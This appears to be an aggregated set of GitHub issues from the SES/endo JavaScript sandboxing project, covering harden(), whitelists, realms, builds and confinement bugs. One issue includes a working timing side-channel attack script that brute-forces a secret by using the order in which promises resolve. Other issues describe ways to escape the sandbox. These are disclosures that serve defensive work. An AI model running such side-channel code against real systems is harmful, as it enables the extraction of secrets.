endojs / endo Goto Github PK

I'm very excited about this project and eager to use it, but I get an error every time:

I am using [email protected] with typescript 3 and webpack 4

My code is:

export function safeEvaluate(code: string, context?: {}): any {
  const realm = SES.makeSESRootRealm();
  try {
    return realm.evaluate(code, context);
  } catch (err) {
    console.warn('Evaluation error:', err);
  }
}

And when running anything, e.g.

safeEvaluate('a + 2', { a: 1 })

I get:

Uncaught TypeError: Cannot read property 'createSESInThisRealm' of undefined

I am running this in Chrome 72.0.3626.96

In Agoric/SES#9, @warner writes Aug 9:

Another thing to keep in mind is debuggability and sourcemaps. At present, each SES.confine() is a barrier beyond which stack traces and line numbers get thrown away. It might be interesting to ...

he goes on to discuss solutions, but meanwhile, I think it's worth promoting the problem to its own issue.

SES.confine takes a string and evaluates it as a program, returning the last expression of the program. This is the primitive we need to build larger environments. This ticket is about what shape those larger environments should take. Programmers don't work with strings containing code (how do you get an editor to syntax-highlight it, for starters): they work with files containing code, or modules, or names that point to modules. Programs import modules, not strings. Users run "apps", not programs or strings. We'll eventually need to define an environment that starts with a programmer and a source tree, goes through some bundling/packaging/deployment phase, and ends with a whole bunch of nested evals (on somebody else's computer) that put the right code in the right places.

I'd like to collect ideas and examples of related systems which we can draw from, and build up a collection of sample apps that we can implement in different schemes to see how they compare.

Two things come to mind from my own background. The first is the Jetpack security model which I developed for Firefox (but which never really got deployed). https://github.com/warner/JetpackComponents/blob/master/components.md has a writeup. This scheme used CommonJS-style require(name) statements to import code from other modules. A magic module name represented full platform power: in Jetpack you would get access to the browser's entire authority by including require("chrome") in your module. A bundling script searched for all require() statements and built a graph of them: most modules were to be found elsewhere in the source tree, but magic names would be mapped to special objects at load time. The graph was written into a manifest, including the hashes of each module, as a table saying "when module X says require(Y), give it Z". This manifest, and all the source files, were bundled into the installable addon archive (a ZIP file), and the runtime loader enforced the manifest restrictions.

The idea was that the loader could also check for signatures from the official addon gallery reviewers, who could examine each module for safety and whether they did their declared job (or could be tricked into doing something else). Using require("chrome") would trigger more careful review. In that system, the top-most node of the module graph was the weakest, and contained the most important application logic, and would be unique to the addon. The bottom-most nodes (many of which would be shipped with the SDK as a stdlib) had the most power, and would be shared between many different addons. The overall goal was to encourage code reuse and limit excess authority.

The other piece is http://www.lothar.com/blog/58-The-Spellserver/ , which investigates a purely-client-defined server model (in which the client is confined by signed prefixes that define the endowments which their new code can access). In that world, the server receives hashes that represent code, and maybe the code itself if it wasn't already cached. It isn't captured by my writeup, but the source form (which authors edit) would have some kind of CommonJS require(PETNAME) syntax, which would be rewritten as require(HASH) before delivery to the servers (so any lookup is nailed down before the application leaves the programmer's environment). The rule would be that any require() statement could be replaced by simple interpolation of the file that hashes to HASH, which means require() does not grant any authority (unlike my Jetpack model). In the Spellserver, all authority is delivered as arguments to the function at runtime, rather than being available as ambient endowments or explicitly requested imports. I have a scheme to do rights-amplification, by allowing two prefixes to both be used by a child program. In this approach, the first program in the chain run gets the most power, but it also defines which keys must sign the next program down (rather than having some central reviewers or bundled manifest to enforce which program gets the authority). So the power graph is somewhat inverted when compared to the Jetpack approach.

I think https://github.com/tc39/tc39-module-keys is going to be relevant too.

@erights and I started to prototype a module loader a few weeks ago, but we got a bit stuck trying to figure out how to represent the loader policy: some datastructure which explains what happens when module X asks to import name Y. The loader itself was a recursively-injected endowment into each evaluation step: when we evaluate X, we inject a require() or import() or something which curries the portion of the policy table that talks about module X. The code was a bit fiddly (as most recursive things are), but we're sure it's possible.

Another thing to keep in mind is debuggability and sourcemaps. At present, each SES.confine() is a barrier beyond which stack traces and line numbers get thrown away. It might be interesting to feed a sourcemap into confine() (or into some wrapper/membrane around it) that knows how to translate exception information into a form usable by the next layer up. Whatever module loader we come up with should integrate into this scheme, so perhaps the when X imports Y it gets Z table should be extended to also include .. and uses sourcemap Q on each row.

@erights is concerned about potential divergence between the SES whitelist (which defines what properties of the global objects are retained or deleted) and the Harden "fringelist" (which defines the border of what harden() will complain about not already being frozen). He suggested that we should find a way to merge these two lists.

SES defines a whitelist.js that is effectively a JSON object that maps object names (hierarchically accessed from a global, e.g. Number, Number.isInteger, Number.prototype, and Number.prototype.toFixed) to permission values (basically: true, false, or Jessie-only). The idea is that SES deletes properties of standard javascript that are known to be unsafe (they break confinement or behave nondeterministically). SES then freezes everything that's left, and the result is an object-capability -safe environment. The whitelist includes a section named anonIntrinsics which lists permission values for the so-called "anonymous intrinsics", which are built-in functions that cannot be reached with simple property/prototype lookup from the global object (e.g. an AsyncFunction which is the constructor of the prototype of a function defined as async function foo()).

SES has a function named removeProperties that turns this whitelist document into a "white table" (a WeakMap that maps from objects into true/false). It then walks the global object (a recursive traversal of all properties) and deletes any children that aren't in the whitetable. Later, it freezes everything reachable by either property lookup or prototype climbing, using both the global object and the anonIntrinsics as starting points. The goal is for everything reachable (by names, prototypes, or syntax) to be frozen, and for the unsafe things to be deleted entirely.

The purpose of a standalone harden() function is to make life easier for developers who are building code for a SES environment. This code is going to use harden(), but it's impractical to run all your unit tests under SES. The two immediate problems are the need to stringify everything that gets evaluated under SES, and the confusion of stack traces (line numbers in particular) when the code goes through eval. So we want developers to write small modules (that include calls to harden()) that can be unit-tested separately, outside of SES, even though integration tests and the final application will run inside a SES realm.

These small modules should not need to sense which environment they're in or behave differently. So they should be able to say const harden = require('harden');. Outside SES, harden() is not providing significant security, because the primordials won't be frozen and an attacker could just redefine Number or Array to get control. But we want developers to use harden() correctly, so we want it to throw errors in the same ways: if they mutate a property on an object that was supposed to be frozen, we want them to get an error in their unit tests where it's easier to debug. And if they harden() an object before hardening its prototype, they should get an error too. (we thought about having harden() just freeze the prototypes too, basically freezing the entire world, but that seems too drastic for a test environment).

So we want the "fringe" of the standalone harden() to match the frozen properties of the SES environment. (The fringe should not include the removed properties: if someone creates an object with a prototype pointing at Math.rand, and they try to harden() it, then the standalone harden will throw an error because Math.rand is not in the fringe; in the SES environment you couldn't have assigned that prototype in the first place because Math.rand is missing entirely, so the two cases will both produce errors albeit of different forms).

One approach we're considering is to have Harden depend upon SES, and have SES export a harden function that is built around the same list it uses for the in-SES version. This increases the dependency load of code that uses Harden, but we don't expect that much code will exist that uses Harden but not also SES. (One counter-argument is the upcoming RealmsCompartment, which is a lighter-weight non-nested single-realm form of SES, which will also want to expose a harden() function.. we may need to build one out of the other to keep things tidy).

We considering having SES export a table of the objects that it has frozen, but that seems inelegant. In addition, it provides a table of objects that the creator of the SES environment might have wanted to withhold from the confined code (who knows, maybe you don't like Math, and you want to prevent the confined code from using it at all; if the SES object is defined to offer a SES.frozenObjects list, then the confined code could just look through that for the denied object).

I'd like to use this new makeHardener in SES, so let's cut a new release once Agoric/make-hardener#4 lands.

The makeHardner() function takes arguments to define the elements of the "fringe" (those elements which will not be visited by the generated harden() function, and which are considered already-hardened when asserting that the prototypes of all hardened objects are themselves already hardened).

The current API takes these elements are separate arguments: makeHardener(f1, f2, f3). This seemed convenient at the time because all the test cases were passing in just one or two values at a time, frequently just Object.prototype. But in the Harden module, where we pass in a larger list (derived from the SES whitelist, with a few hundred objects), I assumed the API accepted an iterable, and Kate had to track down and fix my mistake.

So maybe we should change the MakeHardener() API to take an iterable instead. That changes the one-object invocation to e.g. makeHardener([Object.prototype]), which is kind of a drag, but to be honest it's pretty rare to build a hardener at all: most programs will either use the one from SES or the one from Harden (and those will probably be the same function anyways).

att @warner

This leaves known security breaking non-standard builtins available. For example, on https://rawgit.com/Agoric/SES/master/demo/ the test logs of

function*() {
  const gopn = Object.getOwnPropertyNames;
  log(gopn(Error));
  log(gopn(RegExp));
}

show that v8's non-standard Error.captureStackTrace remains, as do the Appendix B RegExp statics. Both of these are known unsafe and omitted from both the normative standard and the SES whitelist for this reason. They must not be available to confined code, but still are.

The current MakeHardener builds a buggy harden(): objects are marked as hardened (i.e. added to the frozenSet) even if harden() throws an exception due to one of their prototypes not being in frozenSet. As an example:

const a = {};
const b = {__proto__: a};
const c = {__proto__: b};

harden(b); // throws because b.__proto__ (=== a) is not frozen
// but incorrectly leaves b in frozenSet
harden(c); // doesn't throw since b is in frozenSet
// c is not really hardened: a is not frozen

The key to clarity is the difference between being frozen (which is shallow) and being hardened (which is transitive). You can only get into the hardened set if all your prototypes are already in (or will soon be added to) the hardened set. The errorful implementation freezes some things, but that isn't enough to let them qualify as hardened.

To fix this, we just need to perform the prototypes-are-in-frozenSet check before calling commit() (which adds everything to the frozenSet). It is safe to check that the prototypes are in either the frozenSet or the freezingSet (i.e. the stuff that is about to be committed, if the check passes). This avoids forcing the caller to invoke harden() multiple times (e.g. they could call harden([a,b,c]) instead of needing to do harden(a); harden(b); harden(c)).

This will help with Agoric/SES#13, as other (non-SES-related) packages can import it.

The only twist is that we will have to change SES to import it, stringify the function, inject this string into the SES realm as a shim, and make it available as a (frozen/hardened/defensible) part of the global SES environment. I think the only constraint this puts on the new Nat module is to build Nat() out of a single function, so that `${Nat}` is sufficient to get all the code (i.e. Nat is not allowed to call any other functions which aren't part of the normal global environment).

To inject the SES object into new SES realms (this allows each realm to create child realms, to arbitrary depths), we need a string that defines SES. We build this out of the contents of the src/bundle/ directory by running npm run-script build-intermediate, which writes the generated string into src/stringifiedBundle. The top-level src/index.js reads this string as a module and passes the string object into the SES constructor.

As a result, we must regenerate this bundle after making any changes to src/bundle/*.js. Our npm test script does this automatically (to avoid confusion), but we have to remember to check this new bundle into git after each change.

(This is a subset of the npm run-script build script that generates the dist/ses-shim.js file, which can be included as an HTML <script> tag, and adds a SES object to the global environment. This is useful for web environments but not so much for Node.js applications.)

It might be nice to generate the intermediate bundle at runtime, rather than ahead-of-time. Our build-intermediate script uses rollup for this job, which could be done inside index.js instead of as a separate step. One problem I don't know how to solve yet is that rollup wants to run asynchronously, whereas all module exports need to be available by the time the module finishes being evaluated. If rollup has a synchronous mode, this could simplify our workflow a bit.

After filing this bug, I'll relabel other issues in terms on the new names. Separately, Agoric/SES#15 will track the difference in semantics (if any) between harden and the freezing needed to freeze all the primordials of a SES realm.

This weakmap seems to be global mutable state. Why is that ok in this case?

Also, is it shared between realms? Between calls to require('harden')?

Originally posted by @dckc in https://github.com/Agoric/SES/issues/4#issuecomment-464727318

To help with Agoric/SES#13, we're going to add a rudimentary require() to the SES environment. It will initially only accept one of three names: nat, def (which will be renamed harden), and ses. Rather than having Nat/def/SES be injected onto the global namespace, we'll instead inject require into that namespace, and you'll get the other symbols by using require() exactly as you would outside of SES:

const SES = require('ses');
const Nat = require('nat');

The object you get back when using require('ses') inside a SES realm will be different than what you'd get from outside of one. For Nat they'll be the same but SES needs to build a separate version for each nested realm, and def/harden will return a hardener that already knows about all the primordials that are already frozen.

This require() will throw an exception if you give it any other module name: it is not yet a general-purpose module loader (although of course this is a natural place to build one in the future). We'll have to decide later about require/CJS vs import/es6 style.. for now, a basic require() should be enough to let us share code between SES and non-SES environments.

hello I'm experimenting with SES and found that on the creation of the 1001st iframe, the iframe.contentWindow is null and throws an error in createNewUnsafeGlobalForBrowser

this is in chrome

when can the iframes be garbage collected?

• update the call to the new makeHardener() API (which takes an iterable instead of a splat) Agoric/harden#11
• depend on the newer @agoric/make-hardener release (https://github.com/Agoric/MakeHardener/issues/7)

I just noticed that some downstream code (SES) fails when I do import makeHardener from '@agoric/make-hardener' (after doing an npm install ../MakeHardener). Are we exporting a composite object with a makeHardener property, or a single default function? I think we should be doing the latter.

@katelynsills can you check me on this?

If this changes behavior according to something outside the process, we need to remove it, or remap it to e.g. Object.prototype.toString.

There is an Object.prototype.toLocaleString, but according to the spec it exists purely as a fallback for other objects that don't override it (and it just delegates to the plain .toString() method on this).

But for other primordial objects, we need to check that their individual toLocaleString method doesn't cause nondeterminism. This includes Number, Array, and Date, at the very least.

The .travis.yml file suggests this should work, but I'm losing; I expect I know how to fix this, but I'm filing this on behalf of the next person in this position:

~/projects$ git clone https://github.com/Agoric/SES.git
...
Resolving deltas: 100% (363/363), done.

connolly@jambox:~/projects$ cd SES/
connolly@jambox:~/projects/SES$ npm install
npm notice created a lockfile as package-lock.json. You should commit this file.
added 41 packages from 53 contributors and audited 56 packages in 2.771s
found 0 vulnerabilities

connolly@jambox:~/projects/SES$ npm run test

> [email protected] test /home/connolly/projects/SES
> node scripts/build-intermediate.js && tape -r esm test/**/*.js

Use of eval is strongly discouraged, as it poses security risks and may cause issues with minification
Use of eval is strongly discouraged, as it poses security risks and may cause issues with minification
wrote 59242 to src/stringifiedBundle
file:///home/connolly/projects/SES/src/SES.js:1
Error: Cannot find module '../proposal-realms/shim/src/realm.js'
    at Object.<anonymous> (file:///home/connolly/projects/SES/src/SES.js:1)
npm ERR! code ELIFECYCLE
...


~/projects/SES$ git log -n 1  # What version am I testing?
commit 15ecf1520c8314f7ec29165548eccff1118e294d
Date:   Fri Aug 24 16:41:06 2018 -0700

I was just reading through the release notes for Firefox 65, and noticed a new Intl.RelativeTimeFormat constructor, which returns a function that will turn e.g. (2, 'day') into in 2 days or dentro de 2 dias or something locale-specific. We'll need to block this whenever we're also blocking Intl.DateTimeFormat, as it exposes locale-based nondeterminism to the confined code.

https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/65

I followed the Getting Started docs; got the dev tools built and the hello world app running

cc @dtribble @erights

2018-09-30 04:04 PM moddable 9b53f14 boilerplate

The debug instrumentation is lacking a check that the prototype is not null, so it fails when we harden an object with a null prototype. I forgot to copy over a line from the SES implementation.. will add a patch momentarily.

att: @warner

There are several use cases for having the same source work both within SES and outside it:

• library code that could be used in both cases
• unit test of code in test framework that doesn't use SES
• debugging code in a small repro

Both def and Nat may appear in SES code, which currently will not work in a non-SES environment.

Additionally console.log should be usable as well. That's a related but structurally different issue.

We currently exporting an object with one property named harden. I think we did this because we were thinking of exporting a list of initialRoots too. But if we can avoid doing that, it'd probably be better to export harden() as the module's default, so that downstream code can say import harden from '@agoric/harden' rather than import { harden } from '@agoric/harden'.

The console.log function is not currently available to the SES-confined code, which is a pretty big roadblock for getting started. This is basically a problem inherited from proposal-realms (tc39/proposal-shadowrealm#189 has some discussion), but it's worth noting here too. We might want to fix this in SES specifically because SES is also where we control how host-provided sources of non-determinism can or cannot be shared with the confined code (e.g. options that include {dateNowMode: 'allow'}). The application may specifically want to prevent the confined code from writing to a debug log; that's its perogative. But it's awfully frustrating to start a hello-world app and have it crash on the first line with a message about "undefined has no property 'log'".

Two approaches come to mind:

• r.global.console = r.evaluate(CODE, { origConsole: console })
• something involving shims and endowments

I haven't tried the r.global.console approach, but it might work. The "CODE" bit would define a new object (with a log method, among others) that would call through to the original console's methods. It needs to wrap any exceptions that come back, as well as throwing away the return value, to prevent leaking root-realm objects into the confined code.

The shims+endowments approach would extend our existing shims: [ ] argument. This currently defines a list of strings which are evaluated in the newly-created Realm, and are additionally remembered for evaluation in all child Realms created by that Realm. The idea is that it's impossible to avoid having the shim be evaluated (so whatever platform features are blocked by the shim will be blocked in child realms too). So when the uppermost new Realm (call it realm1) is created with shim1, and realm1 creates realm2 with shim2, realm2 is actually forced to evaluate both shim1 and shim2.

To use this for console.log, the shims would need to be accompanied by endowments. So shim1 might be a string that defines a new console object, and it would be given an endowment of the original outer-realm console to wrap around. The shim1 string would need to add this console to the global object (which it may or may not really have access to, now that I think about it). This might be invoked by changing the shims from a list of strings to a list of (string, endowment) tuples.

The difficult part is what to do with the endowments when creating a new inner-child realm. We're obligated to impose the shims on the new child realm too, but it's probably not appropriate to give it the endowments from the outer realm. We don't yet know how to build it safely this way.

For practical use, the best answer is probably to treat console specially, by adding a new option (maybe consoleMode: "allow") just like we do with dateNowMode and intlMode and mathRandomMode. That would let our initial docs recommend r = SES.makeSESRootRealm({consoleMode: 'allow'}) and everything would work as expected.

def should be transitive only over reflective own property access. In a frozen realm, def should insist that all objects being defed all inherit only from objects that are already deepFrozen, rather than making them be deepFrozen. In a non-frozen realm, def could insist that all objects being defed inherit only from objects that are either primordial or already defed by these same rules.

This keeps def from being too non-modularly contagious while still supporting idiomatic usage.

@dtribble suggested using XS, but since it throws away the source code of functions, I can't imagine it will work. I looked at otto and its successor https://github.com/dop251/goja , but it's not quite clear how to get started with those.

So I tried https://duktape.org/ , written in C. Compiling it to webasm was entirely straightforward:

After installing emcc:

# How does this thing normally compile?
~/projects/duktape-2.3.0$ make -f Makefile.cmdline 
gcc -o duk  -Os -pedantic -std=c99 -Wall -fstrict-aliasing -fomit-frame-pointer -I./examples/cmdline -I./src    -DDUK_CMDLINE_PRINTALERT_SUPPORT -I./extras/print-alert -DDUK_CMDLINE_CONSOLE_SUPPORT -I./extras/console -DDUK_CMDLINE_LOGGING_SUPPORT -I./extras/logging -DDUK_CMDLINE_MODULE_SUPPORT -I./extras/module-duktape src/duktape.c examples/cmdline/duk_cmdline.c extras/print-alert/duk_print_alert.c extras/console/duk_console.c extras/logging/duk_logging.c extras/module-duktape/duk_module_duktape.c -lm

# Let's throw out a few options and feed the rest to emcc...
connolly@jambox:~/projects/duktape-2.3.0$ emcc -s WASM=1 -o duk.html -I./examples/cmdline -I./src    -DDUK_CMDLINE_PRINTALERT_SUPPORT -I./extras/print-alert -DDUK_CMDLINE_CONSOLE_SUPPORT -I./extras/console -DDUK_CMDLINE_LOGGING_SUPPORT -I./extras/logging -DDUK_CMDLINE_MODULE_SUPPORT -I./extras/module-duktape src/duktape.c examples/cmdline/duk_cmdline.c extras/print-alert/duk_print_alert.c extras/console/duk_console.c extras/logging/duk_logging.c extras/module-duktape/duk_module_duktape.c -lm
INFO:root:generating system asset: is_vanilla.txt... (this will be cached in "/home/connolly/.emscripten_cache/is_vanilla.txt" for subsequent builds)
...
connolly@jambox:~/projects/duktape-2.3.0$ firefox duk.html

And voila, a js repl in webasm running in firefox.

According to https://duktape.org/guide.html , const has function scope and there's no support for ES6 modules. But they talk about hooking babel into their module support... maybe it could make up the difference? The TCB is starting to get uncomfortably large at that point, I suppose.

Hi,

I'm having a dickens of a time trying to use SES under Node.js. Is there any guidance as to how to import it into a plain Node.js main script (version 8.5 or above)? I just can't figure out the combination of require, import, --experimental-modules, and which file to use, given that I have in t.js something like:

const SES = require('./ses/src/SES.js');
console.log(SES);

and the SES sources are checked out into ./ses.

Help would be greatly appreciated.

Thanks,
Michael.

We omitted the tamperProof.js file (to fix the override mistake) when we built SES out of Realms instead of FrozenRealms, we need to pull that in.

Our best progress so far is on the hereditary-shims branch. To run the test, do this:

• git clone this repo, git checkout hereditary-shims, then run git submodule init --update to populate the proposal-realms/ direcfory
• npm install to get the dependencies
• patch proposal-realms to get a version that doesn't freeze globals: cd proposal-realms; git remote add agoric https://github.com/agoric/proposal-realms; git remote update; git diff master...agoric/unfreeze-globals |patch -p1
• run the only test that still halfway-works: ./node_modules/.bin/tape -r esm test/test_hereditary_realm.js

This currently gets stuck with an infinite loop as it attempts to create a second-level realm from inside a new first-level realm (the test named "nested realm, no shim"). The code all goes through src/hereditary.js, which is surely incomplete.

A normal application would need to protect these carefully, as either would allow the defender code to reach the Root realm's full-powered Function constructor, allowing it to break confinement.

This is confusing and makes our protections sound misleadingly weak. Can we just make this a non-issue so that we don't need to try to explain it?

[edit 2020-09-15 @kriskowal]

@erights volunteers to verify that we have addressed this.

@dtribble and I were looking at removeProperties.js, and we noticed that the clean() function does a recursive traversal of named properties (Object.getOwnPropertyNames) but is not traversing the Object.getPrototypeOf links. It uses getPrototypeOf to implement the * permission value, but that only appears in getPermit() and not in the traversal code.

As a result, we won't be applying the whitelist to any of the prototypes, unless they're reachable by other named pathways like Number.prototype. Is this enough? Are there any primordials that are only reachable by following an Object.getPrototypeOf() from some named object?

We should get this up on npm, under the name SES.

@kriskowal, does this seem worthy of claiming the ses name on npm? I see that you've got an old snapshot of Caja published under that name right now (last updated about four years ago).

@jfparadis, this repo incorporates the Realms shim by using a git submodule (which is currently a week or two out of date). Would it make more sense to get Realms into NPM too? Then SES could just have a dependency on some version of Realms. Actually, it would be both a regular dependency and a devDependency, because we must stringify+flatten the whole Realms constructor to build the SES shim string. (We'd probably need to pin the version in both, to avoid allowing downstream users to get one form of Realm on their top-level SES environment, and a different version for new Realms built inside that one).

cc @erights

https://github.com/Agoric/SES/blob/master/README.md links to https://cdn.rawgit.com/Agoric/SES/0.0.1/demo/ but https://github.com/Agoric/SES/blob/master/demo/README.md links to https://rawgit.com/Agoric/SES/master/demo/

Orthogonally, should the default have the attack enabled or disabled? In my talk I linked to the url with ?dateNow=enabled because I think it plays better to first see the attack in action before having the enablers removed.

Rather than rely on absolute measurement such as that enabled by Date.now, a https://rawgit.com/Agoric/SES/master/demo/?dateNow=NaN attacker can use the relative information exposed by resolution order of promises created within the same synchronous section.

This was originally disclosed as directed and is being publicly posted at maintainer request.

const CHARS = Array.from({length: 36}, (_, i) => toChar(i));
const MAX_LENGTH = 10;
const FILLER = Array.from({length: MAX_LENGTH}, _ => toChar(0)).join("");
const MATCH = {code: null};

attack().then(code => {
  log("found the code: " + code);
  return guess(code);
});

function attack(prefix="") {
  log("trying with prefix: " + prefix);
  if ( prefix.length >= MAX_LENGTH ) {
    log("too long; restarting");
    return attack();
  }

  // Try extensions in parallel, with (gratuitously) unpredictable ordering.
  let slowestChars = [];
  let guesses = shuffled(CHARS).map(c => {
    let code = (prefix + c + FILLER).slice(0, MAX_LENGTH);
    return guess(code).then(correct => {
      slowestChars.unshift(c);

      // Reject the correct code in a sentinel value for special handling.
      return correct && Promise.reject(Object.assign(MATCH, {code}));
    });
  });

  return Promise.all(guesses)
    // The slowest wrong answer has the longest correct prefix.
    .then(_ => attack(prefix + slowestChars[0]))

    // Catch the correct code; propagate other rejections.
    .catch(v => v === MATCH ? v.code : Promise.reject(v));
}

function shuffled(arr) {
  // Use a biased but simple shuffle instead of implementing Fisher-Yates.
  return arr.slice().sort(_ => Math.random() - 0.5);
}

function toChar(c) {
  return c.toString(36).toUpperCase();
}

[edit 2021-05-11 @kriskowal]

We ended up eliminating SES dependence on Rollup by using SES’s own module system to create an alternative bundler, then using that bundler to create CJS, MJS, UMD, and minified UMD distributions of SES. This was possible because of compartment mapping and simplifying SES shim to only use globals to ship its API, making it module system agnostic.

Although the transitive closure of Endo modules, including the Zip library, are all ESM, the bundler doesn’t entrain anything tricky from a module system compatibility perspective except a fork of babel/standalone.

We did not choose to pursue import maps for shipping the SES ESM sources to the web, but that remains an option for users. It is unfortunately possible to use SES through an ESM transform like RESM or Rollup against our urging, which remains a problem to solve if we found it worthy of further attention.

[edit 2020-09-15 @kriskowal]

• Remove reliance on Rollup for running on CommonJS environments (or just not do that)
• Enable use on XS by ensuring all runtime dependencies are ESM (notably Zip for full SES applications)
• Enable use on Web (importmap of SES or create a run-time included single-script with SES translated down to JS programs)
• Node.js (only support ESM, drop support for Node.js 12)

[@warner]

We've seen some funny-looking errors during testing that suggest rollup is rewriting symbols that it thinks are defined multiple times, when in fact we're trying to overwrite a name like console.log or Date.

browserifying the module results in an Error unexpected platform, unable to create Realm

Root of the issue is that the proposal-realms shim detects browserified code as both browser + node, and panics.
https://github.com/tc39/proposal-realms/blob/4dd794bbc3f506018d26c3b6b8649a2c8aa43e92/shim/src/unsafeRec.js#L12-L16

See googlearchive/caja#1977

Our current def() function currently does too much work: it doesn't remember what's been frozen already, so it will re-freeze things like Function.prototype every time. To fix this, deepFreeze() needs to be turned into a "Freezer" object that retains a WeakMap of everything it has ever frozen, def() should take a Freezer, and the def() exposed as a global should close over the Freezer and deliver it here. deepFreezePrimordials() should use that same Freezer

This isn't a security issue, merely a performance one.

We're currenly only freezing primordials that are reachable by property+prototype traversal from the RootRealm's global object. This misses things that are only reachable by syntax, like ArrayIteratorPrototype. We need to get the full list (maybe from anonIntrinsics.js for now, but ideally from some Realms API that will be updated as the platform adds new one) and add it to the primordialRoots in deepFreeze.js.

Until we do this, programs that use any of these primordials will not be defensive against attacker code that seeks to mutate them.

The tarball we publish to the npm registry uses import/export statements, so it requires the esm plugin to load. We have esm in the devDependencies, but not in the normal dependencies, so applications that wish to use SES must establish their own dependency upon it.

We should move esm from devDependencies to dependencies in our package.json.

refs Agoric/SES#25

[edit 2020-09-15 @kriskowal]

@erights has volunteered to verify that the below issue is no longer a problem.

@dtribble and I were looking at removeProperties.js, and noticed that we build and add the anonIntrinsics to the whitetable, but then clean() is called on the global object. Since these intrinsics are (by definition) not reachable by recursive property lookup on the global, clean() will never visit them, so any whitelist settings that might delete their properties won't ever get applied. This could lead to a surprise if e.g. TC39 adds a new unsafe property to AsyncFunction.

(this is unrelated to freezing the primordials, because in hardenPrimordials.js we re-generate the anonIntrinsics and attach them to a root object, which we then deep-freeze along with everything reachable from the global)

One fix might be to change the end of removeProperties to also clean everything on the anonIntrinsics list:

clean(global);
Object.getOwnPropertyNames(intr).forEach(name => clean(intr[name]));

Another might be to rearrange the whole clean/freeze pathway to create a single object that makes all intrinsics (named and anonymous) available in a hierarchy that mirrors the whitelist table, and use it both for cleaning and freezing. This table might then be useful to construct the "fringe" set that a standalone harden() might need.

Both realm.evaluate(src, endowments) and SES.confine(src, endowments) parse source as a Program and evaluate it to its completion value. Because many JS expressions, when parsed as Programs, will parse as expression-statements, and because the completion value of an expression statement is the value of the expression, we often mistakenly use them to evaluate expressions. We have repeatedly stubbed our toe on expressions that begin with { or function. These expressions, when parsed as programs, parse as programs that mean something else and have different completion values.

Even after introducing the SES.confineExpr(exprSrc, endowments) convenience, we still accidentally used SES.confine on an inappropriate expression. Suggestion:

All new evaluators should come overloaded by explicit suffix clarifying what their start symbol is. Retire realm.evaluate and SES.confine and instead have:

• realm.evalProgram
• realm.evalExpr
• SES.confineProgram
• SES.confineExpr

There are some supposedly-denied objects that may in fact be re-accessible by creating a new child Realm and pulling the functionality from the child. Agoric/SES#27 used this to access Date.now(), which we fixed, but the current code also tries (and fails) to block access to things like:

• Math.random()
• Intl.NumberFormat()
• Error.prototype.stack

Our plan is to fix these by registering a shim which locks off access to these things, such that the shim is inherited by all new child Realms too.

While testing a patch for Agoric/SES#15, @erights and I tracked down a hardenPrimordials problem that stemmed from anonIntrinsics.js not capturing AsyncIteratorPrototype in its results. We have a patch to add that, and to confirm that it's prototype is Object.prototype (unlike the rest of the iterator prototypes), as well as adding it to whitelist.js.

anonIntrinsics.js is not currently taming AsyncGenerator or AsyncFunction, so these could be used to obtain an unsafe eval and thus break confinement.

When one SES Realm creates another one, they don't coordinate on the taming shims, so we might end up applying the shims multiple times. This gets worse if we have very deeply nested realms.

We sketched out a design to avoid this (known as SES.powers, named after the object that would keep a bitmap or set of remaining untamed power, which would be populated by the parent SES realm and gets smaller with each new layer of attenuation), but decided not to implement it, because:

• our shims really ought to be idempotent anyways, so applying them multiple times merely affects performance, not correctness
• to maintain overtly-transparent virtualization, there should be no "normal" way for the confined code to determine what constraints have been placed upon it. (In a mobile OS scenario, the owner of a phone should be able to instruct the OS to lie to apps about their geolocation or time or whatever, and the app should not be able to ask the OS whether it is being lied to or not.. imagine something similar but for SES authorities)
• SES is designed to host multiple mutually-suspicious objects anyways, so we aren't likely to have deeply nested realms. We might have two (an outer one with more IO authority, in which you create the Powerbox and whatever IO abstractions you need, where all the code comes from the trusted platform and we just run it in a SES realm so that the objects it creates are safe to pass inwards, and an inner one where all the untrusted code runs). But in general you'll get to a fully-confined SES realm pretty quickly, and once you're there, there is no need to create any further realms. So the O(N) nature of the shims isn't really an issue, since N won't ever be more than 2.
• if an SES realm creates a normal Realm, then that normal Realm creates a SES Realm, then there's no good place to pass the data through to the grandchild. There's a question of how the intermediate realm gets the code to create an SES realm, but we're going to have an answer for module loading eventually, and we can imagine the SES code being a pure module that gets passed in as just a string.

This issue exists just to capture our thoughts on this.. we can probably close it.

SES.confine (in a child realm) delegates directly to r.evaluate on the enclosing (parent) RootRealm. To avoid leaking the parent Realm's exception objects, if that r.evaluate throws an exception, we replace the exception object with one we build from the child realm. The code we use for this is identical to the code that r.evaluate uses when wrapping exceptions raised in the child: https://github.com/Agoric/SES/blob/f32edcb77101c052d3a6e5696f8ff7d6c4060dba/src/bundle/createSES.js#L61

As a result, when SES.confine sees an exception, we rewrite it twice: once from child to parent, then again from parent back to the same child. This feels a bit silly, and it'd be nice to have a better approach. Fundamentally, SES.confine is the two-argument safe eval() that we wish javascript had to begin with. If we could arrange to expose this from within the realm, rather than only on the parent's controller object, then we wouldn't need to map/rewrite/wrap exceptions at all.

This might take the form of Realm.evaluate, which would be a static method on the Realm constructor object (as opposed to r.evaluate, which is a normal method on the constructed object). It would simply be equal to the existing internal safeEvaluator() defined by the Realms shim (used to implement both eval() and the Function constructor).

const r = Realm.makeRootRealm();
const a = r.evaluate(code);
const b = r.evaluate('Realm.evaluate(code)', { code });
// a and b are equivalent

Of course having two methods named evaluate is probably too confusing. Calling it Realm.confine might work, given that it behaves the same way as the SES.confine that this module creates.